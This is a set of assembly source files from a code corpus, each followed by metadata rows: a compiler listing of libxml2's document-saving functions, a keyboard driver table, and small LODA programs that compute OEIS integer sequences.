; 2320 : #endif /* LIBXML_HTML_ENABLED */
; 2321 : } else
; 2322 : xmlNodeDumpOutput(outbuf, doc, cur, 0, 1, NULL);
push 0
push 1
push 0
push edi
push ecx
push esi
call _xmlNodeDumpOutput
add esp, 24 ; 00000018H
; 2323 : xmlOutputBufferClose(outbuf);
push esi
call _xmlOutputBufferClose
add esp, 4
$LN7@xmlElemDum:
pop esi
$LN1@xmlElemDum:
pop edi
; 2324 : }
pop ebp
ret 0
_xmlElemDump ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlDocDump
_TEXT SEGMENT
_f$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_xmlDocDump PROC ; COMDAT
; 2591 : xmlDocDump(FILE *f, xmlDocPtr cur) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
push 0
push DWORD PTR _cur$[ebp]
push DWORD PTR _f$[ebp]
call _xmlDocFormatDump
add esp, 12 ; 0000000cH
; 2592 : return(xmlDocFormatDump (f, cur, 0));
; 2593 : }
pop ebp
ret 0
_xmlDocDump ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlDocFormatDump
_TEXT SEGMENT
_ctxt$ = -124 ; size = 124
_f$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_format$ = 16 ; size = 4
_xmlDocFormatDump PROC ; COMDAT
; 2541 : xmlDocFormatDump(FILE *f, xmlDocPtr cur, int format) {
push ebp
mov ebp, esp
sub esp, 124 ; 0000007cH
mov ecx, OFFSET __BAD788A4_xmlsave@c
push ebx
push esi
push edi
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _cur$[ebp]
xor ebx, ebx
test esi, esi
je $LN7@xmlDocForm
; 2542 : xmlSaveCtxt ctxt;
; 2543 : xmlOutputBufferPtr buf;
; 2544 : const char * encoding;
; 2545 : xmlCharEncodingHandlerPtr handler = NULL;
; 2546 : int ret;
; 2547 :
; 2548 : if (cur == NULL) {
; 2549 : #ifdef DEBUG_TREE
; 2550 : xmlGenericError(xmlGenericErrorContext,
; 2551 : "xmlDocDump : document == NULL\n");
; 2552 : #endif
; 2553 : return(-1);
; 2554 : }
; 2555 : encoding = (const char *) cur->encoding;
; 2556 :
; 2557 : if (encoding != NULL) {
mov edi, DWORD PTR [esi+60]
test edi, edi
je SHORT $LN4@xmlDocForm
; 2558 : handler = xmlFindCharEncodingHandler(encoding);
push edi
call _xmlFindCharEncodingHandler
mov ebx, eax
add esp, 4
; 2559 : if (handler == NULL) {
test ebx, ebx
jne SHORT $LN4@xmlDocForm
; 2560 : xmlFree((char *) cur->encoding);
push DWORD PTR [esi+60]
call DWORD PTR _xmlFree
add esp, 4
; 2561 : cur->encoding = NULL;
mov DWORD PTR [esi+60], ebx
; 2562 : encoding = NULL;
xor edi, edi
$LN4@xmlDocForm:
; 2563 : }
; 2564 : }
; 2565 : buf = xmlOutputBufferCreateFile(f, handler);
push ebx
push DWORD PTR _f$[ebp]
call _xmlOutputBufferCreateFile
mov ebx, eax
add esp, 8
; 2566 : if (buf == NULL) return(-1);
test ebx, ebx
je SHORT $LN7@xmlDocForm
; 2567 : memset(&ctxt, 0, sizeof(ctxt));
push 124 ; 0000007cH
lea eax, DWORD PTR _ctxt$[ebp]
push 0
push eax
call _memset
; 2568 : ctxt.doc = cur;
; 2569 : ctxt.buf = buf;
; 2570 : ctxt.level = 0;
; 2571 : ctxt.format = format ? 1 : 0;
xor eax, eax
mov DWORD PTR _ctxt$[ebp+28], esi
cmp DWORD PTR _format$[ebp], eax
mov DWORD PTR _ctxt$[ebp+24], ebx
setne al
mov DWORD PTR _ctxt$[ebp+36], 0
mov DWORD PTR _ctxt$[ebp+40], eax
; 2572 : ctxt.encoding = (const xmlChar *) encoding;
; 2573 : xmlSaveCtxtInit(&ctxt);
lea eax, DWORD PTR _ctxt$[ebp]
push eax
mov DWORD PTR _ctxt$[ebp+16], edi
call _xmlSaveCtxtInit
; 2574 : ctxt.options |= XML_SAVE_AS_XML;
or DWORD PTR _ctxt$[ebp+32], 32 ; 00000020H
; 2575 : xmlDocContentDumpOutput(&ctxt, cur);
lea eax, DWORD PTR _ctxt$[ebp]
push esi
push eax
call _xmlDocContentDumpOutput
; 2576 :
; 2577 : ret = xmlOutputBufferClose(buf);
push ebx
call _xmlOutputBufferClose
add esp, 28 ; 0000001cH
pop edi
; 2578 : return(ret);
; 2579 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN7@xmlDocForm:
pop edi
pop esi
or eax, -1
pop ebx
mov esp, ebp
pop ebp
ret 0
_xmlDocFormatDump ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlDocDumpFormatMemoryEnc
_TEXT SEGMENT
_ctxt$ = -128 ; size = 124
_dummy$ = -4 ; size = 4
_out_doc$ = 8 ; size = 4
_doc_txt_ptr$ = 12 ; size = 4
_doc_txt_len$ = 16 ; size = 4
_txt_encoding$ = 20 ; size = 4
_format$ = 24 ; size = 4
_xmlDocDumpFormatMemoryEnc PROC ; COMDAT
; 2404 : int format) {
push ebp
mov ebp, esp
sub esp, 128 ; 00000080H
push esi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _doc_txt_len$[ebp]
lea esi, DWORD PTR _dummy$[ebp]
xor ecx, ecx
mov DWORD PTR _dummy$[ebp], 0
test eax, eax
cmovne esi, eax
mov eax, DWORD PTR _doc_txt_ptr$[ebp]
test eax, eax
jne SHORT $LN3@xmlDocDump
; 2405 : xmlSaveCtxt ctxt;
; 2406 : int dummy = 0;
; 2407 : xmlOutputBufferPtr out_buff = NULL;
; 2408 : xmlCharEncodingHandlerPtr conv_hdlr = NULL;
; 2409 :
; 2410 : if (doc_txt_len == NULL) {
; 2411 : doc_txt_len = &dummy; /* Continue, caller just won't get length */
; 2412 : }
; 2413 :
; 2414 : if (doc_txt_ptr == NULL) {
; 2415 : *doc_txt_len = 0;
mov DWORD PTR [esi], ecx
pop esi
; 2470 : }
; 2471 :
; 2472 : return;
; 2473 : }
mov esp, ebp
pop ebp
ret 0
$LN3@xmlDocDump:
push ebx
; 2416 : return;
; 2417 : }
; 2418 :
; 2419 : *doc_txt_ptr = NULL;
; 2420 : *doc_txt_len = 0;
; 2421 :
; 2422 : if (out_doc == NULL) {
mov ebx, DWORD PTR _out_doc$[ebp]
mov DWORD PTR [eax], ecx
mov DWORD PTR [esi], ecx
test ebx, ebx
je $LN27@xmlDocDump
; 2423 : /* No document, no output */
; 2424 : return;
; 2425 : }
; 2426 :
; 2427 : /*
; 2428 : * Validate the encoding value, if provided.
; 2429 : * This logic is copied from xmlSaveFileEnc.
; 2430 : */
; 2431 :
; 2432 : if (txt_encoding == NULL)
push edi
mov edi, DWORD PTR _txt_encoding$[ebp]
test edi, edi
jne SHORT $LN25@xmlDocDump
; 2433 : txt_encoding = (const char *) out_doc->encoding;
mov edi, DWORD PTR [ebx+60]
; 2434 : if (txt_encoding != NULL) {
test edi, edi
je SHORT $LN26@xmlDocDump
$LN25@xmlDocDump:
; 2435 : conv_hdlr = xmlFindCharEncodingHandler(txt_encoding);
push edi
call _xmlFindCharEncodingHandler
mov ecx, eax
add esp, 4
; 2436 : if ( conv_hdlr == NULL ) {
test ecx, ecx
jne SHORT $LN26@xmlDocDump
; 143 : __xmlSimpleError(XML_FROM_OUTPUT, code, node, msg, extra);
push edi
push OFFSET ??_C@_0BF@CGOGPJKI@unknown?5encoding?5?$CFs?6@
push ebx
push 1403 ; 0000057bH
push 7
call ___xmlSimpleError
add esp, 20 ; 00000014H
pop edi
pop ebx
pop esi
; 2470 : }
; 2471 :
; 2472 : return;
; 2473 : }
mov esp, ebp
pop ebp
ret 0
$LN26@xmlDocDump:
; 2437 : xmlSaveErr(XML_SAVE_UNKNOWN_ENCODING, (xmlNodePtr) out_doc,
; 2438 : txt_encoding);
; 2439 : return;
; 2440 : }
; 2441 : }
; 2442 :
; 2443 : if ((out_buff = xmlAllocOutputBuffer(conv_hdlr)) == NULL ) {
push ecx
call _xmlAllocOutputBuffer
mov ebx, eax
add esp, 4
test ebx, ebx
jne SHORT $LN8@xmlDocDump
; 111 : __xmlSimpleError(XML_FROM_OUTPUT, XML_ERR_NO_MEMORY, NULL, NULL, extra);
push OFFSET ??_C@_0BA@GIGPFFIA@creating?5buffer@
push eax
push eax
push 2
push 7
call ___xmlSimpleError
add esp, 20 ; 00000014H
pop edi
pop ebx
pop esi
; 2470 : }
; 2471 :
; 2472 : return;
; 2473 : }
mov esp, ebp
pop ebp
ret 0
$LN8@xmlDocDump:
; 2444 : xmlSaveErrMemory("creating buffer");
; 2445 : return;
; 2446 : }
; 2447 :
; 2448 : memset(&ctxt, 0, sizeof(ctxt));
push 124 ; 0000007cH
lea eax, DWORD PTR _ctxt$[ebp]
push 0
push eax
call _memset
; 2449 : ctxt.doc = out_doc;
mov eax, DWORD PTR _out_doc$[ebp]
mov DWORD PTR _ctxt$[ebp+28], eax
; 2450 : ctxt.buf = out_buff;
; 2451 : ctxt.level = 0;
; 2452 : ctxt.format = format ? 1 : 0;
xor eax, eax
cmp DWORD PTR _format$[ebp], eax
mov DWORD PTR _ctxt$[ebp+24], ebx
setne al
mov DWORD PTR _ctxt$[ebp+36], 0
mov DWORD PTR _ctxt$[ebp+40], eax
; 2453 : ctxt.encoding = (const xmlChar *) txt_encoding;
; 2454 : xmlSaveCtxtInit(&ctxt);
lea eax, DWORD PTR _ctxt$[ebp]
push eax
mov DWORD PTR _ctxt$[ebp+16], edi
call _xmlSaveCtxtInit
; 2455 : ctxt.options |= XML_SAVE_AS_XML;
; 2456 : xmlDocContentDumpOutput(&ctxt, out_doc);
push DWORD PTR _out_doc$[ebp]
or DWORD PTR _ctxt$[ebp+32], 32 ; 00000020H
lea eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlDocContentDumpOutput
; 2457 : xmlOutputBufferFlush(out_buff);
push ebx
call _xmlOutputBufferFlush
; 2458 : if (out_buff->conv != NULL) {
mov eax, DWORD PTR [ebx+20]
add esp, 28 ; 0000001cH
test eax, eax
je SHORT $LN9@xmlDocDump
; 2459 : *doc_txt_len = xmlBufUse(out_buff->conv);
push eax
call _xmlBufUse
mov edi, eax
mov DWORD PTR [esi], edi
; 2460 : *doc_txt_ptr = xmlStrndup(xmlBufContent(out_buff->conv), *doc_txt_len);
mov eax, DWORD PTR [ebx+20]
; 2461 : } else {
jmp SHORT $LN29@xmlDocDump
$LN9@xmlDocDump:
; 2462 : *doc_txt_len = xmlBufUse(out_buff->buffer);
push DWORD PTR [ebx+16]
call _xmlBufUse
mov edi, eax
mov DWORD PTR [esi], edi
; 2463 : *doc_txt_ptr = xmlStrndup(xmlBufContent(out_buff->buffer),*doc_txt_len);
mov eax, DWORD PTR [ebx+16]
$LN29@xmlDocDump:
; 2464 : }
; 2465 : (void)xmlOutputBufferClose(out_buff);
add esp, 4
push eax
call _xmlBufContent
push edi
push eax
call _xmlStrndup
mov edi, DWORD PTR _doc_txt_ptr$[ebp]
push ebx
mov DWORD PTR [edi], eax
call _xmlOutputBufferClose
add esp, 16 ; 00000010H
; 2466 :
; 2467 : if ((*doc_txt_ptr == NULL) && (*doc_txt_len > 0)) {
cmp DWORD PTR [edi], 0
jne SHORT $LN28@xmlDocDump
cmp DWORD PTR [esi], 0
jle SHORT $LN28@xmlDocDump
; 2468 : *doc_txt_len = 0;
; 2469 : xmlSaveErrMemory("creating output");
push OFFSET ??_C@_0BA@CMJGPMBH@creating?5output@
mov DWORD PTR [esi], 0
call _xmlSaveErrMemory
add esp, 4
$LN28@xmlDocDump:
pop edi
$LN27@xmlDocDump:
pop ebx
pop esi
; 2470 : }
; 2471 :
; 2472 : return;
; 2473 : }
mov esp, ebp
pop ebp
ret 0
_xmlDocDumpFormatMemoryEnc ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlDocDumpMemoryEnc
_TEXT SEGMENT
_out_doc$ = 8 ; size = 4
_doc_txt_ptr$ = 12 ; size = 4
_doc_txt_len$ = 16 ; size = 4
_txt_encoding$ = 20 ; size = 4
_xmlDocDumpMemoryEnc PROC ; COMDAT
; 2523 : int * doc_txt_len, const char * txt_encoding) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
push 0
push DWORD PTR _txt_encoding$[ebp]
push DWORD PTR _doc_txt_len$[ebp]
push DWORD PTR _doc_txt_ptr$[ebp]
push DWORD PTR _out_doc$[ebp]
call _xmlDocDumpFormatMemoryEnc
add esp, 20 ; 00000014H
; 2524 : xmlDocDumpFormatMemoryEnc(out_doc, doc_txt_ptr, doc_txt_len,
; 2525 : txt_encoding, 0);
; 2526 : }
pop ebp
ret 0
_xmlDocDumpMemoryEnc ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlDocDumpMemory
_TEXT SEGMENT
_cur$ = 8 ; size = 4
_mem$ = 12 ; size = 4
_size$ = 16 ; size = 4
_xmlDocDumpMemory PROC ; COMDAT
; 2487 : xmlDocDumpMemory(xmlDocPtr cur, xmlChar**mem, int *size) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
push 0
push 0
push DWORD PTR _size$[ebp]
push DWORD PTR _mem$[ebp]
push DWORD PTR _cur$[ebp]
call _xmlDocDumpFormatMemoryEnc
add esp, 20 ; 00000014H
; 2488 : xmlDocDumpFormatMemoryEnc(cur, mem, size, NULL, 0);
; 2489 : }
pop ebp
ret 0
_xmlDocDumpMemory ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlDocDumpFormatMemory
_TEXT SEGMENT
_cur$ = 8 ; size = 4
_mem$ = 12 ; size = 4
_size$ = 16 ; size = 4
_format$ = 20 ; size = 4
_xmlDocDumpFormatMemory PROC ; COMDAT
; 2505 : xmlDocDumpFormatMemory(xmlDocPtr cur, xmlChar**mem, int *size, int format) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
push DWORD PTR _format$[ebp]
push 0
push DWORD PTR _size$[ebp]
push DWORD PTR _mem$[ebp]
push DWORD PTR _cur$[ebp]
call _xmlDocDumpFormatMemoryEnc
add esp, 20 ; 00000014H
; 2506 : xmlDocDumpFormatMemoryEnc(cur, mem, size, NULL, format);
; 2507 : }
pop ebp
ret 0
_xmlDocDumpFormatMemory ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlAttrSerializeTxtContent
_TEXT SEGMENT
_buf$ = 8 ; size = 4
_doc$ = 12 ; size = 4
_attr$ = 16 ; size = 4
_string$ = 20 ; size = 4
_xmlAttrSerializeTxtContent PROC ; COMDAT
; 2172 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _buf$[ebp]
test eax, eax
je SHORT $LN3@xmlAttrSer
; 2173 : xmlBufPtr buffer;
; 2174 :
; 2175 : if ((buf == NULL) || (string == NULL))
cmp DWORD PTR _string$[ebp], 0
je SHORT $LN3@xmlAttrSer
; 2176 : return;
; 2177 : buffer = xmlBufFromBuffer(buf);
push esi
push eax
call _xmlBufFromBuffer
mov esi, eax
add esp, 4
; 2178 : if (buffer == NULL)
test esi, esi
je SHORT $LN6@xmlAttrSer
; 2179 : return;
; 2180 : xmlBufAttrSerializeTxtContent(buffer, doc, attr, string);
push DWORD PTR _string$[ebp]
push DWORD PTR _attr$[ebp]
push DWORD PTR _doc$[ebp]
push esi
call _xmlBufAttrSerializeTxtContent
; 2181 : xmlBufBackToBuffer(buffer);
push esi
call _xmlBufBackToBuffer
add esp, 20 ; 00000014H
$LN6@xmlAttrSer:
pop esi
$LN3@xmlAttrSer:
; 2182 : }
pop ebp
ret 0
_xmlAttrSerializeTxtContent ENDP
_TEXT ENDS
END
| 21.419185 | 111 | 0.641138 | [
"MIT"
] | txwizard/libxml2_x64_and_ARM | win32/VC10/Win32/libxml2_Release/xmlsave.asm | 251,654 | Assembly |
;*
;* CW : Character Windows
;*
;* kbd_code.asm : Start of KBD code
;*****************************************************************************
sBegin DRV
assumes CS,DRV
assumes ds,NOTHING
assumes ss,NOTHING
ORG 0H ;* start of .KBD file
;*****************************************************************************
lpwDataKbd label dword ;* allocated by driver loader
OFF_lpwDataKbd DW cbDataKbd ;* at load time: cbData
;* after loading: OFF_lpwDataKbd
SEG_lpwDataKbd DW fmemDataKbd ;* at load time: fmemData
;* after loading: SEG_lpwDataKbd
pinos: DW 0 ;* pinos
pincs: DW 0 ;* pincs
DW cpfnKbdMin ;* # of entries in table
rgpfn:
DW EnableKeyboardKbd
DW PollKeyboardKbd
DW FlushKeyRgchKbd
DW MkGetShiftStatesKbd
DW SetShiftKkKbd
DW ChAlternateKeytopKbd
Assert <(($ - rgpfn) / 2) EQ cpfnKbdMin>
;*****************************************************************************
| 23.974359 | 78 | 0.524064 | [
"Apache-2.0"
] | minblock/msdos | 45/beef/drv/kbd/inc/kbd_code.asm | 935 | Assembly |
; A030119: a(n) = a(n-1) + a(n-2) + n, a(0) = a(1) = 1.
; 1,1,4,8,16,29,51,87,146,242,398,651,1061,1725,2800,4540,7356,11913,19287,31219,50526,81766,132314,214103,346441,560569,907036,1467632,2374696,3842357,6217083,10059471,16276586,26336090,42612710,68948835,111561581,180510453,292072072,472582564,764654676,1237237281,2001891999,3239129323,5241021366,8480150734,13721172146,22201322927,35922495121,58123818097,94046313268,152170131416,246216444736,398386576205,644603020995,1042989597255,1687592618306,2730582215618,4418174833982,7148757049659,11566931883701,18715688933421,30282620817184,48998309750668,79280930567916,128279240318649,207560170886631,335839411205347,543399582092046,879238993297462,1422638575389578,2301877568687111,3724516144076761,6026393712763945
mov $5,$0
add $5,1
mov $8,$0
lpb $5
mov $0,$8
sub $5,1
sub $0,$5
mov $9,$0
mov $11,2
lpb $11
mov $0,$9
sub $11,1
add $0,$11
sub $0,1
mov $2,6
mov $3,4
lpb $0
sub $0,1
mov $4,$2
add $2,$3
mov $3,$4
sub $3,1
lpe
sub $3,2
mov $6,$11
mov $7,$3
lpb $6
sub $6,1
mov $10,$7
lpe
lpe
lpb $9
mov $9,0
sub $10,$7
lpe
mov $7,$10
sub $7,1
add $1,$7
lpe
| 28.790698 | 714 | 0.684976 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/030/A030119.asm | 1,238 | Assembly |
; A140766: a(n) = 6*a(n-1) - 6*a(n-2).
; 1,5,24,114,540,2556,12096,57240,270864,1281744,6065280,28701216,135815616,642686400,3041224704,14391229824,68100030720,322252805376,1524916647936,7215983055360,34146398444544,161582492335104,764616563343360,3618204426049536
mov $1,1
mov $2,$0
lpb $2,1
add $3,$1
mul $1,2
mov $0,$1
mul $0,2
add $1,$0
sub $1,$3
sub $2,1
lpe
| 25.266667 | 225 | 0.712401 | [
"Apache-2.0"
] | karttu/loda | programs/oeis/140/A140766.asm | 379 | Assembly |
; A093526: Numerators of even raw moments in the distribution of line lengths for lines picked at random in the unit disk.
; 1,1,5,7,42,22,429,715,4862,8398,58786,52003,742900,1337220,646323,17678835,129644790,79606450,1767263190,328206021,8155422340,45741281820,343059613650,107492012277,4861946401452,9183676536076
add $0,1
mov $1,$0
add $0,1
seq $1,195686 ; a(n) = C(2*n,n) / gcd(n,C(2*n,n)).
div $1,$0
mov $0,$1
| 41.7 | 193 | 0.7506 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/093/A093526.asm | 417 | Assembly |